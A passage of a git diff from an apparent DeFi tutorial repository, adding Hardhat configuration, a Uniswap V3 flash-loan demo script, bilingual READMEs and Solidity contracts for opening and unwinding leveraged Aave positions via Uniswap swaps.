+      url: 'https://rinkeby.infura.io/v3/' + process.env.INFURA_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    kovan: {
+      url: 'https://kovan.infura.io/v3/' + process.env.INFURA_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    ropsten: {
+      url: 'https://ropsten.infura.io/v3/' + process.env.INFURA_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    matic: {
+      url: 'https://polygon-mainnet.infura.io/v3/' + process.env.PROJECT_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()]
+    },
+  },
+};
diff --git a/basic/20-flash-loan/uniswapv3/package.json b/basic/20-flash-loan/uniswapv3/package.json
new file mode 100644
index 000000000..6d371e850
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/package.json
@@ -0,0 +1,15 @@
+{
+  "name": "hardhat-project",
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.5",
+    "@nomiclabs/hardhat-waffle": "^2.0.3",
+    "chai": "^4.3.6",
+    "ethereum-waffle": "^3.4.4",
+    "ethers": "^5.6.4",
+    "hardhat": "^2.9.3"
+  },
+  "dependencies": {
+    "@nomiclabs/hardhat-etherscan": "^3.0.3",
+    "dotenv": "^16.0.0"
+  }
+}
diff --git a/basic/20-flash-loan/uniswapv3/scripts/flashloan_and_swapcallback.js b/basic/20-flash-loan/uniswapv3/scripts/flashloan_and_swapcallback.js
new file mode 100644
index 000000000..2a5b149bc
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/scripts/flashloan_and_swapcallback.js
@@ -0,0 +1,77 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `npx hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const hre = require("hardhat");
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  // Hardhat always runs the compile task when running scripts with its command
+  // line interface.
+  //
+  // If this script is run directly using `node` you may want to call compile
+  // manually to make sure everything is compiled
+  // await hre.run('compile');
+
+  // We get the contract to deploy
+  const flashLoanAndSwapFactory = await hre.ethers.getContractFactory("FlashLoanAndSwap");
+  const rinkebyWETHAddr = "0xc778417E063141139Fce010982780140Aa0cD5Ab";
+  const rinkebyDai =  "0xc7AD46e0b8a400Bb3C915120d284AafbA8fc4735";
+  const flashLoanAndSwap = await flashLoanAndSwapFactory.deploy(rinkebyWETHAddr,rinkebyDai);
+  await flashLoanAndSwap.deployed();
+  console.log("Deploy uniswap flashloan contract successfully");
+  console.log(`FlashLoan contract address: ${flashLoanAndSwap.address}`);
+
+  const artifactWETH = artifacts.readArtifactSync("IWETH9");
+  let weth = new ethers.Contract(rinkebyWETHAddr, artifactWETH.abi , deployer);
+
+  // transfer eth to weth
+  let amountInEther = "0.01"
+  console.log("Going to deposite ETH to WETH contract");
+  let depositeRecipt = await weth.deposit({value: ethers.utils.parseEther(amountInEther)})
+  await depositeRecipt.wait()
+  console.log("Deposite to WETH contract successfully");
+
+  // transfer weth to FlashLoanAndSwap to pay for flashloan fee
+  console.log("Going to transfer WETH to FlashLoanAndSwap contract");
+  let transferRecipt = await weth.transfer(flashLoanAndSwap.address,ethers.utils.parseEther(amountInEther));
+  await transferRecipt.wait()
+  console.log("Transfer WETH to FlashLoanAndSwap contract successfully")
+
+  // Start flash loan
+  console.log("Going to do Flashloan");
+  let flashLoanRecipt = await flashLoanAndSwap.runFlashLoan(ethers.utils.parseEther("1"),{gasLimit: 9999999});
+  await flashLoanRecipt.wait()
+  console.log("FlashLoan successfully")
+
+  // Start to flash swap
+  let amountToSwap = "0.001"
+  console.log("Going to deposite ETH to WETH contract");
+  let swapDepositeRecipt = await weth.deposit({value: ethers.utils.parseEther(amountToSwap)})
+  await swapDepositeRecipt.wait()
+  console.log("Deposite to WETH contract successfully");
+
+  // transfer weth to FlashLoanAndSwap to pay for flashloan fee
+  console.log("Going to transfer WETH to FlashLoanAndSwap contract to do swap");
+  let swapTransferRecipt = await weth.transfer(flashLoanAndSwap.address,ethers.utils.parseEther(amountToSwap));
+  await swapTransferRecipt.wait()
+  console.log("Transfer WETH to FlashLoanAndSwap contract successfully")
+
+  console.log("Going to do swap with callback");
+  let swapRecipt = await flashLoanAndSwap.runSwap(ethers.utils.parseEther(amountToSwap),{gasLimit: 9999999});
+  await swapRecipt.wait()
+  console.log("Swap with callback successfully")
+
+
+  
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/21-aave-uni-loan/.env.example b/basic/21-aave-uni-loan/.env.example
new file mode 100644
index 000000000..858eb541d
--- /dev/null
+++ b/basic/21-aave-uni-loan/.env.example
@@ -0,0 +1,5 @@
+ETHERSCAN_API_KEY=ABC123ABC123ABC123ABC123ABC123ABC1
+INFURA_ID=yyyy
+ALCHEMY_ID=zzz
+PRIVATE_KEY=tttt
+TARGET_ADDRESS=ttttt
\ No newline at end of file
diff --git a/basic/21-aave-uni-loan/.gitignore b/basic/21-aave-uni-loan/.gitignore
new file mode 100644
index 000000000..03944dc45
--- /dev/null
+++ b/basic/21-aave-uni-loan/.gitignore
@@ -0,0 +1,6 @@
+node_modules
+.env
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/21-aave-uni-loan/.prettierignore b/basic/21-aave-uni-loan/.prettierignore
new file mode 100644
index 000000000..f268596e5
--- /dev/null
+++ b/basic/21-aave-uni-loan/.prettierignore
@@ -0,0 +1,5 @@
+node_modules
+artifacts
+cache
+coverage*
+gasReporterOutput.json
diff --git a/basic/21-aave-uni-loan/README-CN.md b/basic/21-aave-uni-loan/README-CN.md
new file mode 100644
index 000000000..ab242dd57
--- /dev/null
+++ b/basic/21-aave-uni-loan/README-CN.md
@@ -0,0 +1,93 @@
+# 前言     
+基于 Hardhat 测试框架，通过样例合约的演示，了解如何在 AAVE 上进行借贷，在 Uniswap 上进行兑换，并通过 AAVE 和 Uniswap 进行做多和做空。
+
+## 合约交互    
+### AAVE V3 合约   
+Pool Addresses Provider 是 AAVE V3 交互的入口，通过它可以和 AAVE V3 进行交互。 
+同时因为 AAVE 会更新 Pool / PoolDataProvider / PriceOracle 合约的地址以便修复发现的 Bug ，而通过 Lending Pool Addresses Provider  可以获取这三个合约的最新的地址，而不必修改代码: 
+- Pool  负责 存入/借贷 功能  
+- PoolDataProvider： 提供 用户/池子 中相关的借贷信息  
+- PriceOracle： 价格预言机 
+
+### uniswap V3 合约     
+Uniswap V3 的交互入口为 SwapRouter，通过它可以完成和 Uniswap V3 的所有交互
+
+
+##  功能要点  
+AaveApe 合约主要有四个功能，分别是    
+1）质押资产到 AAVE     
+2）从 AAVE 进行借贷   
+3) 到 Uniswap 进行资产置换  
+4）从 AAVE 进行闪电贷     
+通过组合这四个功能，可以实现自动做多，做空 以及 赎回 的操作。  
+### 做多  
+假设你有两种资产，其中一种资产 A 你想要做多，另一种资产 B 你想要做空。 Ape 合约通过如下操作，在一笔交易中便可以帮用户达到同时对两种资产做多和做空的目的。   
+- 根据用户当前在 AAVE 质押的资产 A 的价值，计算用户可借的最大数额的资产 B  
+- 从 AAVE 中借贷资产 B 
+
+需要注意的是，在上述 "从 AAVE 中借贷资产 B " 时，需要用户预先授权 Ape 合约，以便 Ape 可以以用户的名义进行借贷，详细内容可参考 AAVE 的 Credit Delegation。  
+
+### 做空
+从 AAVE 借出资产 B 后，Ape  进行如下操作做空 B。 
+
+- 通过 Uniswap V3， 把借出的资产 B 全部兑换为 资产 A  
+- 把兑换出的资产 A 继续存入 AAVE 
+
+
+### 赎回    
+通过 AAVE V3 的闪电贷偿还从 AAVE 借出的资产.  
+详细逻辑, 参考 [aave-ape](https://azfuller20.medium.com/aave-ape-with-%EF%B8%8F-scaffold-eth-c687874c079e )
+
+## 操作步骤  
+- 配置环境变量   
+```shell
+cp .env.example .env
+# 配置其中的 ETHERSCAN_API_KEY， INFURA_ID，ALCHEMY_ID，PRIVATE_KEY， TARGET_ADDRESS
+# ETHERSCAN_API_KEY 用于合约验证
+# INFURA_ID  用于连接到各个以太网络 
+# ALCHEMY_ID 在使用 polygon 网路进行借贷的时候发现因为 Infura 网络延迟，造成交易失败的情况，所以这里使用 Alchemy 的网络进行验证  
+# PRIVATE_KEY 用于发送交易   
+# TARGET_ADDRESS: 目标用户 ，查询用户在 AAVE 上借贷所支付的所有利息
+```
+
+- 部署合约  
+```shell
+// depoly aaveape
+npx hardhat ignition deploy ./ignition/modules/AaveApe.js --network  matic
+```
+
+- 验证合约  
+```shell
+// contract verify
+npx hardhat verify --network matic 0x4699f609F4FD97A3cf74CB63EFf5cd1200Dfe3dA "0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb" "0xE592427A0AEce92De3Edee1F18E0157C05861564"
+``` 
+
+- 进行借贷  
+```shell
+// open maxposition on aave
+npx hardhat run scripts/loan.js --network matic    
+```
+
+- 查询用户支付利息总额    
+需要注意的是，应该在 matic 上，所有的可借贷币种的 APY 使用的都是浮动 APY，如果使用其他网络的话需要修改下代码中 “计算 interest” 部分传入 getDebtToken 接口的参数     
+```shell
+npx hardhat run scripts/query.js --network matic
+```
+
+
+
+
+## 参考链接
+- aave-ape 借贷 : https://azfuller20.medium.com/lend-with-aave-v2-20bacceedade
+- hardhat fork 主网 : https://hardhat.org/hardhat-network/guides/mainnet-forking.html
+- quick swap: https://github.com/QuickSwap
+- uniswapper : https://azfuller20.medium.com/swap-with-uniswap-wip-f15923349b3d
+- uniswap v3 接口调用 : https://solidity-by-example.org/defi/uniswap-v3-swap/
+- ds-math 安全数学库: https://medium.com/dapphub/introducing-ds-math-an-innovative-safe-math-library-d58bc88313da 
+- aave 官方文档: https://docs.aave.com/developers/getting-started/contracts-overview 
+- aave polygon graph: https://thegraph.com/hosted-service/subgraph/aave/protocol-v3-polygon  
+- scaffold 挑战:  https://medium.com/@austin_48503/%EF%B8%8Fethereum-dev-speed-run-bd72bcba6a4c
+- scaffold-eth 任务: https://speedrunethereum.com/ 
+- aave 闪电贷: https://github.com/johngrantuk/aaveFlashLoan
+- aave 合约地址: https://docs.aave.com/developers/deployed-contracts/v3-mainnet
+- uniswap 合约地址: https://docs.uniswap.org/contracts/v3/reference/deployments   
\ No newline at end of file
diff --git a/basic/21-aave-uni-loan/README.md b/basic/21-aave-uni-loan/README.md
new file mode 100644
index 000000000..2461d1e40
--- /dev/null
+++ b/basic/21-aave-uni-loan/README.md
@@ -0,0 +1,72 @@
+# AAVE-Uniswap
+
+## 项目介绍
+
+a simple contract that lets you create and unwind leveraged positions on Aave 👻 by integrating with Uniswap 🦄, plus some testing courtesy of Hardhat👷.
+The Aave Ape combines two Defi protocols, Aave (for lending) and Uniswap (for swapping).
+
+**AAVE**
+Interacting with Aave starts with the Pool Addresses Provider — this is the source of truth for Aave V3’s latest contract addresses:
+- Pool: where the depositing & borrowing happens 🏦
+- PoolDataProvider: provides easy-to-access information about reserves & users 📊
+- PriceOracle: provides secure price feeds 💱
+
+**uniswap V3**
+Interacting with Uniswap V3 all happens through the Uniswap SwapRouter.
+
+
+**key point**
+
+We can create a constructor that lets us set the two addresses we need (the PoolAddressesProvider and the Router). Once we then have the addresses and the interfaces, we can create helper functions to instantiate contracts so that we can interact with them, and fetch Aave reserve data from the PoolDataProvider.  
+
+Assuming  you have an apeAsset you want to go long and a borrowAsset you want to go short
+this ape function lets a user carry out the following steps in one transaction
+- Calculate the maximum amount the user is able to borrow in the borrowAsset, based on their collateral (this relies on getAvailableBorrowInAsset)
+- Borrow that amount of borrowAsset from Aave V3 on behalf of the user
+
+This requires the user to have delegated credit to the Aave Ape contract, so that it can borrow from Aave on the user’s behalf — see more about Credit Delegation
+
+- Approve the borrowAsset for trading on Uniswap
+- Swap the borrowAsset for the maximum available amount of the apeAsset via Uniswap V3
+- Deposit the apeAsset back into Aave on behalf of the user
+
+
+**unwindApe**
+Borrow the amount needed to repay their borrowAsset debt via a flashloan from Aave V3.   
+For more detail , please visit [aave-ape](https://azfuller20.medium.com/aave-ape-with-%EF%B8%8F-scaffold-eth-c687874c079e )
+## operating steps
+
+```shell
+// depoly aaveape
+npx hardhat ignition deploy ./ignition/modules/AaveApe.js --network  matic
+ 
+
+// contract verify
+npx hardhat verify --network matic 0x4699f609F4FD97A3cf74CB63EFf5cd1200Dfe3dA "0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb" "0xE592427A0AEce92De3Edee1F18E0157C05861564"
+
+// open maxposition on aave
+npx hardhat run --network matic scripts/loan.js   
+
+```
+
+
+
+
+## 参考链接
+- aave-ape medium : https://azfuller20.medium.com/lend-with-aave-v2-20bacceedade
+- hardhat forkmainnet : https://hardhat.org/hardhat-network/guides/mainnet-forking.html
+- quick swap: https://github.com/QuickSwap
+- uniswapper : https://azfuller20.medium.com/swap-with-uniswap-wip-f15923349b3d
+- uniswap v3 swap : https://solidity-by-example.org/defi/uniswap-v3-swap/
+- https://github.com/austintgriffith/scaffold-eth/tree/defi-rtokens  
+- https://github.com/austintgriffith/scaffold-eth/tree/unifactory  
+- https://github.com/austintgriffith/scaffold-eth/tree/clr-dev  
+- https://medium.com/dapphub/introducing-ds-math-an-innovative-safe-math-library-d58bc88313da 
+- aave official doc: https://docs.aave.com/developers/getting-started/contracts-overview  
+- aave polygon graph: https://thegraph.com/hosted-service/subgraph/aave/protocol-v3-polygon 
+- scaffold chanllenge https://medium.com/@austin_48503/%EF%B8%8Fethereum-dev-speed-run-bd72bcba6a4c
+- scaffold-eth task: https://speedrunethereum.com/ 
+- aave flashloan: https://github.com/johngrantuk/aaveFlashLoan  
+- axios query subgraph: https://gist.github.com/alejoacosta74/55044445dec594f33c10c432b39f1116  
+- aave deployed contract addresses: https://docs.aave.com/developers/deployed-contracts/v3-mainnet
+- uniswap deployed contract addresses: https://docs.uniswap.org/contracts/v3/reference/deployments   
diff --git a/basic/21-aave-uni-loan/contracts/AaveApe.sol b/basic/21-aave-uni-loan/contracts/AaveApe.sol
new file mode 100644
index 000000000..ef000f3ad
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/AaveApe.sol
@@ -0,0 +1,232 @@
+// SPDX-License-Identifier: agpl-3.0
+pragma solidity ^0.8.0;
+
+import './AaveUniswapBase.sol';
+import './interfaces/uniswap-v3/IUniswapV3Factory.sol';
+import './interfaces/uniswap-v3/IUniswapV3Pool.sol';
+// import 'hardhat/console.sol';
+
+contract AaveApe is AaveUniswapBase {
+    event Ape(address ape, string action, address apeAsset, address borrowAsset, uint256 borrowAmount, uint256 apeAmount, uint256 interestRateMode);
+
+    uint24[4] public v3Fees = [100, 500, 3000, 10000];
+
+    IUniswapV3Factory public constant factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984); // const value for all chains
+  
+    constructor(
+        address lendingPoolAddressesProviderAddress,
+        address uniswapRouterAddress
+    ) AaveUniswapBase(lendingPoolAddressesProviderAddress, uniswapRouterAddress) {}
+
+    // Gets the amount available to borrow for a given address for a given asset
+    function getAvailableBorrowInAsset(address borrowAsset, address ape) public view returns (uint256) {
+        // availableBorrowsBase V3 USD based
+        (, , uint256 availableBorrowsBase, , , ) = LENDING_POOL().getUserAccountData(ape);
+        return getAssetAmount(borrowAsset, availableBorrowsBase);
+    }
+
+    // return asset amount with its decimals
+    function getAssetAmount(address asset, uint256 amountIn) public view returns (uint256) {
+        //All V3 markets use USD based oracles which return values with 8 decimals.
+        uint256 assetPrice = getPriceOracle().getAssetPrice(asset); 
+        (uint256 decimals, , , , , , , , , ) = getProtocolDataProvider().getReserveConfigurationData(asset);
+        uint256 assetAmount = amountIn * 10**decimals / assetPrice;
+        return assetAmount;
+    }
+
+    // 1. Borrows the maximum amount available of a borrowAsset (in the designated interest rate mode)
+    // Note: requires the user to have delegated credit to the Aave Ape Contract
+    // 2. Converts it into apeAsset via Uniswap
+    // 3. Deposits that apeAsset into Aave on  behalf of the borrower
+    function ape(address apeAsset, address borrowAsset, uint256 interestRateMode) public returns (bool) {
+        // Get the maximum amount available to borrow in the borrowAsset
+        uint256 borrowAmount = getAvailableBorrowInAsset(borrowAsset, msg.sender);
+
+        require(borrowAmount > 0, 'Requires credit on Aave!');
+
+        IPool _lendingPool = LENDING_POOL();
+
+        // Borrow from Aave
+        _lendingPool.borrow(borrowAsset, borrowAmount, interestRateMode, 0, msg.sender);
+
+        // Approve the Uniswap Router on the borrowed asset
+        IERC20(borrowAsset).approve(UNISWAP_ROUTER_ADDRESS, borrowAmount);
+
+        // Execute trade on Uniswap
+        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
+            tokenIn: borrowAsset,
+            tokenOut: apeAsset,
+            fee: getBestPool(borrowAsset, apeAsset).fee(),
+            recipient: address(this),
+            deadline: block.timestamp + 50,
+            amountIn: borrowAmount,
+            amountOutMinimum: 0,
+            sqrtPriceLimitX96: 0
+        });
+
+        uint256 outputAmount = UNISWAP_ROUTER.exactInputSingle(params);
+
+        IERC20(apeAsset).approve(ADDRESSES_PROVIDER.getPool(), outputAmount);
+
+        _lendingPool.supply(apeAsset, outputAmount, msg.sender, 0);
+
+        emit Ape(msg.sender, 'open', apeAsset, borrowAsset, borrowAmount, outputAmount, interestRateMode);
+
+        return true;
+    }
+
+    function superApe(address apeAsset, address borrowAsset, uint256 interestRateMode, uint levers) public returns (bool) {
+        // Call "ape" for the number of levers specified
+        for (uint i = 0; i < levers; i++) {
+            ape(apeAsset, borrowAsset, interestRateMode);
+        }
+
+        return true;
+    }
+
+    // Unwind a position (long apeAsset, short borrowAsset)
+    function unwindApe(address apeAsset, address borrowAsset, uint256 interestRateMode) public {
+        // Get the user's outstanding debt
+        (, uint256 stableDebt, uint256 variableDebt, , , , , , ) = getProtocolDataProvider().getUserReserveData(borrowAsset, msg.sender);
+
+        uint256 repayAmount;
+        if (interestRateMode == 1) {
+            repayAmount = stableDebt;
+        } else if (interestRateMode == 2) {
+            repayAmount = variableDebt;
+        }
+
+        require(repayAmount > 0, 'Requires debt on Aave!');
+
+        // Prepare the flashLoan parameters
+        address receiverAddress = address(this);
+
+        address[] memory assets = new address[](1);
+        assets[0] = borrowAsset;
+
+        uint256[] memory amounts = new uint256[](1);
+        amounts[0] = repayAmount;
+
+        // 0 = no debt, 1 = stable, 2 = variable
+        uint256[] memory modes = new uint256[](1);
+        modes[0] = 0;
+
+        address onBehalfOf = address(this);
+        bytes memory params = abi.encode(msg.sender, apeAsset, interestRateMode);
+        uint16 referralCode = 0;
+
+        LENDING_POOL().flashLoan(receiverAddress, assets, amounts, modes, onBehalfOf, params, referralCode);
+    }
+
+    // This is the function that the Lending pool calls when flashLoan has been called and the funds have been flash transferred
+    function executeOperation(
+        address[] calldata assets,
+        uint256[] calldata amounts,
+        uint256[] calldata premiums,
+        address initiator,
+        bytes calldata params
+    ) external returns (bool) {
+        require(msg.sender == ADDRESSES_PROVIDER.getPool(), 'only the lending pool can call this function');
+        require(initiator == address(this), 'the ape did not initiate this flashloan');
+
+        // Calculate the amount owed back to the lendingPool
+        address borrowAsset = assets[0];
+        uint256 repayAmount = amounts[0];
+        uint256 amountOwing = repayAmount + premiums[0];
+
+        // Decode the parameters
+        (address ape, address apeAsset, uint256 rateMode) = abi.decode(params, (address, address, uint256));
+
+        // Close position & repay the flashLoan
+        return closePosition(ape, apeAsset, borrowAsset, repayAmount, amountOwing, rateMode);
+    }
+
+    function closePosition(
+        address ape,
+        address apeAsset,
+        address borrowAsset,
+        uint256 repayAmount,
+        uint256 amountOwing,
+        uint256 rateMode
+    ) internal returns (bool) {
+
+        IPool _lendingPool = LENDING_POOL();
+
+        address _lendingPoolAdress = ADDRESSES_PROVIDER.getPool();
+        // Approve the lendingPool to transfer the repay amount
+        IERC20(borrowAsset).approve(_lendingPoolAdress, repayAmount);
+
+        // Repay the amount owed
+        _lendingPool.repay(borrowAsset, repayAmount, rateMode, ape);
+
+        // Calculate the amount available to withdraw (the smaller of the borrow allowance and the aToken balance)
+        uint256 maxCollateralAmount = getAvailableBorrowInAsset(apeAsset, ape);
+
+        DataTypes.ReserveData memory reserve = getAaveAssetReserveData(apeAsset);
+
+        IERC20 _aToken = IERC20(reserve.aTokenAddress);
+
+        if (_aToken.balanceOf(ape) < maxCollateralAmount) {
+            maxCollateralAmount = _aToken.balanceOf(ape);
+        }
+
+        // transfer the aTokens to this address, then withdraw the Tokens from Aave
+        _aToken.transferFrom(ape, address(this), maxCollateralAmount);
+
+        _lendingPool.withdraw(apeAsset, maxCollateralAmount, address(this));
+
+        // Make the swap on Uniswap
+        IERC20(apeAsset).approve(UNISWAP_ROUTER_ADDRESS, maxCollateralAmount);
+
+        // Execute trade on Uniswap
+        ISwapRouter.ExactOutputSingleParams memory params = ISwapRouter.ExactOutputSingleParams({
+            tokenIn: apeAsset,
+            tokenOut: borrowAsset,
+            fee: getBestPool(apeAsset, borrowAsset).fee(),
+            recipient: address(this),
+            deadline: block.timestamp + 5,
+            amountOut: amountOwing,
+            amountInMaximum: maxCollateralAmount, 
+            sqrtPriceLimitX96: 0
+        });
+
+        uint256 amountIn =  UNISWAP_ROUTER.exactOutputSingle(params);
+
+        // Deposit any leftover back into Aave on behalf of the user
+        uint256 leftoverAmount = maxCollateralAmount - amountIn;
+
+        if (leftoverAmount > 0) {
+            IERC20(apeAsset).approve(_lendingPoolAdress, leftoverAmount);
+
+            _lendingPool.supply(apeAsset, leftoverAmount, ape, 0);
+        }
+
+        // Approve the Aave Lending Pool to recover the flashloaned amount
+        IERC20(borrowAsset).approve(_lendingPoolAdress, amountOwing);
+
+        emit Ape(ape, 'close', apeAsset, borrowAsset, amountOwing, amountIn, rateMode);
+
+        return true;
+    }
+
+    // get max liquidity pool
+    function getBestPool(address token0, address token1) public view returns(IUniswapV3Pool bestPool) {
+        uint128 poolLiquidity = 0;
+        uint128 maxLiquidity = 0;
+
+        for (uint256 i = 0; i < v3Fees.length; i++) {
+            address pool = factory.getPool(token0, token1, v3Fees[i]);
+
+            if (pool == address(0)) {
+                continue;
+            }
+
+            poolLiquidity = IUniswapV3Pool(pool).liquidity();
+
+            if (maxLiquidity < poolLiquidity) {
+                maxLiquidity = poolLiquidity;
+                bestPool = IUniswapV3Pool(pool);
+            }
+        }
+    }
+}
diff --git a/basic/21-aave-uni-loan/contracts/AaveApePlus.sol b/basic/21-aave-uni-loan/contracts/AaveApePlus.sol
new file mode 100644
index 000000000..320f92ae7
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/AaveApePlus.sol
@@ -0,0 +1,199 @@
+// SPDX-License-Identifier: agpl-3.0
+pragma solidity ^0.8.0;
+
+import './AaveUniswapBase.sol';
+import './interfaces/uniswap-v3/IUniswapV3Factory.sol';
+import './interfaces/uniswap-v3/IUniswapV3Pool.sol';
+import './interfaces/aave-v3/IAToken.sol';
+import './libraries/ReserveConfiguration.sol';
+import './libraries/TickMath.sol';
+import './libraries/WadRayMath.sol';
+import './libraries/PercentageMath.sol';
+// import 'hardhat/console.sol';
+
+contract AaveApePlus is AaveUniswapBase {
+    using WadRayMath for uint256;
+    using PercentageMath for uint256;
+
+    event Ape(address ape, string action, address apeAsset, address borrowAsset, uint256 borrowAmount, uint256 apeAmount, uint256 interestRateMode);
+
+    uint24[4] public v3Fees = [100, 500, 3000, 10000];
+
+    IUniswapV3Factory public constant factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984); // const value for all chains
+  
+    constructor(
+        address lendingPoolAddressesProviderAddress,
+        address uniswapRouterAddress
+    ) AaveUniswapBase(lendingPoolAddressesProviderAddress, uniswapRouterAddress) {}
+
+    // lever up your position
+    function flashApe(address apeAsset, address borrowAsset, uint256 borrowAmount,uint256 interestRateMode) external returns (bool) {
+        require(borrowAmount > 0, "borrow amount should be greater than 0");
+        require(interestRateMode == 1 || interestRateMode == 2, "interestRateMode must be 1 for stable rate or 2 for variable rate");
+
+        //uniswap
+        IUniswapV3Pool pool = getBestPool(apeAsset, borrowAsset);
+
+        //DAI/WETH   token0 DAI token1 WETH   zeroForOne false,  borrowAmount 0.1 ETH, balance:  336.6DAI WETH 0,         delta0 0,  delta1 0.1
+        //DAI/WETH   token0 DAI token1 WETH   zeroForOne true,   borrowAmount 0.1 DAI, balance:  0DAI     WETH 0.000297,  dele0 0.1  delta1 0
+        // borrowAmount > 0 exactInput else exactOutput
+        bool zeroForOne = pool.token0() == borrowAsset; // borrowAsset in apeAsset out
+
+        uint160 sqrtPriceX96 = zeroForOne == true ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1;
+        
+        //flash swap
+        (int256 amount0, int256 amount1) = pool.swap(
+            address(this), 
+            zeroForOne,
+            int256(borrowAmount),
+            sqrtPriceX96,
+            abi.encode(address(pool), zeroForOne, apeAsset, borrowAsset, interestRateMode, msg.sender, false)
+        );
+
+       (, , , , , uint256 newHealthFactor) = LENDING_POOL().getUserAccountData(msg.sender);
+        require(newHealthFactor > 1e18, "health factor < 1!");
+
+        emit Ape(msg.sender, 'flashApe', apeAsset, borrowAsset, borrowAmount, zeroForOne == true ? uint256(amount0) : uint256(amount1), interestRateMode);
+
+        //check slippage， minAmountout
+        return true;
+    }
+
+    function flashUnwind(address apeAsset, address borrowAsset, uint256 borrowAmountToRepay, uint256 interestRateMode) public {
+        require(borrowAmountToRepay > 0, "repay amount should be greater than 0");
+        require(interestRateMode == 1 || interestRateMode == 2, "interestRateMode must be 1 for stable rate or 2 for variable rate");
+
+        (uint256 apeAssetAToken, , , , , , , ,bool assetAsCollateral) = getProtocolDataProvider().getUserReserveData(apeAsset, msg.sender);
+
+        require(apeAssetAToken > 0, "ape asset balance is 0");
+        require(assetAsCollateral, "ape asset is not collateral");
+        
+
+        (, uint256 stableDebt, uint256 variableDebt, , , , , , ) = getProtocolDataProvider().getUserReserveData(borrowAsset, msg.sender);
+
+        uint256 debtAmount = stableDebt;
+        
+        if (interestRateMode == 2) {
+            debtAmount = variableDebt;
+        }
+
+        require(debtAmount > 0, 'no debt on Aave!');
+
+        if (borrowAmountToRepay > debtAmount) {
+            borrowAmountToRepay = debtAmount;
+        }
+
+        // get apeAsset aToken address
+        DataTypes.ReserveData memory apeReserve = getAaveAssetReserveData(apeAsset);
+
+        IAToken _aToken = IAToken(apeReserve.aTokenAddress);
+
+        uint256 apeAssetBalance = _aToken.balanceOf(msg.sender);
+
+        // user apeAsset 
+        uint256 apeAssetPrice = getPriceOracle().getAssetPrice(apeAsset); 
+        (uint256 apeAssetDecimals, , , , , , , , , ) = getProtocolDataProvider().getReserveConfigurationData(apeAsset);
+
+        uint256 borrowAssetPrice = getPriceOracle().getAssetPrice(borrowAsset); 
+        (uint256 borrowAssetDecimals, , , , , , , , , ) = getProtocolDataProvider().getReserveConfigurationData(borrowAsset);
+
+        uint apeAssetToDebtAmount = (apeAssetBalance * apeAssetPrice * 10**borrowAssetDecimals) / (10**apeAssetDecimals * borrowAssetPrice);
+
+         //uniswap
+        IUniswapV3Pool pool = getBestPool(apeAsset, borrowAsset);
+
+        // consider swap fee, slippage  0.5%    uniswap 3000 是0.3%, aave 3000 是 30% , 50 是 0.5%
+        apeAssetToDebtAmount = apeAssetToDebtAmount - apeAssetToDebtAmount.percentMul(pool.fee() / 100 + 50);
+
+        if (apeAssetToDebtAmount < borrowAmountToRepay) {
+            borrowAmountToRepay = apeAssetToDebtAmount;
+        }
+
+        bool zeroForOne = apeAsset < borrowAsset; // apeAsset in borrowAsset out
+
+        uint160 sqrtPriceX96 = zeroForOne == true ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1;
+
+        //flash swap
+        (int256 amount0, int256 amount1) = pool.swap(
+            address(this), 
+            zeroForOne, 
+            -int256(borrowAmountToRepay), //exactOutput
+            sqrtPriceX96, 
+            abi.encode(address(pool), zeroForOne, apeAsset, borrowAsset, interestRateMode, msg.sender, true)
+        );
+
+        emit Ape(msg.sender, 'flashUnwind', apeAsset, borrowAsset, borrowAmountToRepay, zeroForOne == false ? uint256(amount0) : uint256(amount1), interestRateMode);
+    }
+
+    // get max liquidity pool
+    function getBestPool(address token0, address token1) public view returns(IUniswapV3Pool bestPool) {
+        uint128 poolLiquidity = 0;
+        uint128 maxLiquidity = 0;
+
+        for (uint256 i = 0; i < v3Fees.length; i++) {
+            address pool = factory.getPool(token0, token1, v3Fees[i]);
+
+            if (pool == address(0)) {
+                continue;
+            }
+
+            poolLiquidity = IUniswapV3Pool(pool).liquidity();
+
+            if (maxLiquidity < poolLiquidity) {
+                maxLiquidity = poolLiquidity;
+                bestPool = IUniswapV3Pool(pool);
+            }
+        }
+    }
+
+    function uniswapV3SwapCallback(
+        int256 amount0Delta, 
+        int256 amount1Delta, 
+        bytes calldata data
+    ) external {
+        // console.log("uniswapV3SwapCallback", uint256(amount0Delta), uint256(amount1Delta));
+        (
+            address _pool,
+            bool zeroForOne,
+            address apeAsset,
+            address borrowAsset,
+            uint256 interestRateMode,
+            address apeAddress, // user address
+            bool isFlashUnwind
+        ) = abi.decode(data, (address, bool, address, address, uint256, address, bool));
+
+        uint256 repayAmount = uint256(amount0Delta > 0 ? amount0Delta: amount1Delta);
+
+        if (repayAmount > 0) {
+            IPool _lendingPool = LENDING_POOL();
